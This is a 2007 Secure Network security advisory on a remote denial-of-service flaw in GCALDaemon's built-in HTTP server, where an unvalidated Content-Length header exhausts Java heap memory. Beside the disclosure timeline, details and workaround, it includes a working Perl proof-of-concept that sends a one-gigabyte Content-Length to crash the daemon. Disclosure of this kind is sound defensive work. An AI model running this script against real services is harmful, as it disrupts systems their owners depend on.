Secure Network - Security Research Advisory Vuln name: GCALDaemon Remote DoS Systems affected: GCALDaemon 1.0-beta13 (all platforms) Systems not affected: - Severity: Low Local/Remote: Remote Vendor URL: http://gcaldaemon.sourceforge.net/ Author(s): Luca "ikki" Carettoni - luca.carettoni (at) securenetwork (dot) it [email concealed] Vendor disclosure: 22nd August 2007 Vendor acknowledged: 22nd August 2007 Vendor patch release: n/a Public disclosure: 18th September 2007 Advisory number: SN-2007-01 Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com *** SUMMARY *** GCALDaemon is an OS-independent Java program that offers two-way synchronization between Google Calendar and various iCalendar compatible calendar applications. GCALDaemon is primarily designed as a calendar synchronizer but it can also be used as a Gmail notifier, Address Book importer, Gmail terminal and RSS feed converter. Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over HTTP, by uploading their file via an HTTP PUT and getting/refreshing their calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this HTTP messages in sync with a specified Google Calendar. An input validation flaw permits to craft an HTTP request with an abnormal content-length value; this malformed request could trigger a denial of service that arises from a Java out of memory fatal error. *** VULNERABILITY DETAILS *** Using a crafted HTTP request, an attacker could trigger a denial of service that arises from a java.lang.OutOfMemoryError when the Java heap space is overfilled. In the file "org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's built-in HTTP server parses the HTTP request and the HTTP header parameters without validation checkpoints. In the line of code "490:org/gcaldaemon/core/http/HTTPListener.java" the "Content-Length" header parameter is used to create a new byte array; when the size of this structure is big enough, it could trigger a Java fatal error that blocks the HTTP daemon: Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap space at org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490) at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167) *** EXPLOIT *** The provided proof-of-concept can trigger the issue. -------------------------------------------- #!/usr/bin/perl use strict; use warnings; use IO::Socket; my $host = shift || die "Usage: $0 host [port]\n"; my $port = shift || 9090; my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto => 'tcp') or die "error: $!\n"; print "GCALDaemom DoS Expoit\n"; print "Just 4 seconds...\n"; sleep 4; $sock->send("GET / HTTP/1.1\r\n"); $sock->send("Content-Length: 1000000000\r\n\r\n"); $sock->close; print "\n\nNo more sync!\n"; -------------------------------------------- *** FIX INFORMATION *** This bug will be fixed in the next version of GCALDaemon. Thanks to the GCALDaemon's developers for the great tool. *** WORKAROUNDS *** It should be noted that the web server has the possibility to set a group of allowed hostnames or IP addresses; the default configuration is "allow ALL". Users may be restricted setting the allowed hosts so that remote aggressors cannot trigger this flaw. ********************* *** LEGAL NOTICES *** ********************* Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues. This advisory is copyright ? 2007 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similars, provided that due credit is given to Secure Network The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible. E-mail: securenetwork (at) securenetwork (dot) it [email concealed] GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc Phone: +39 0363 560 404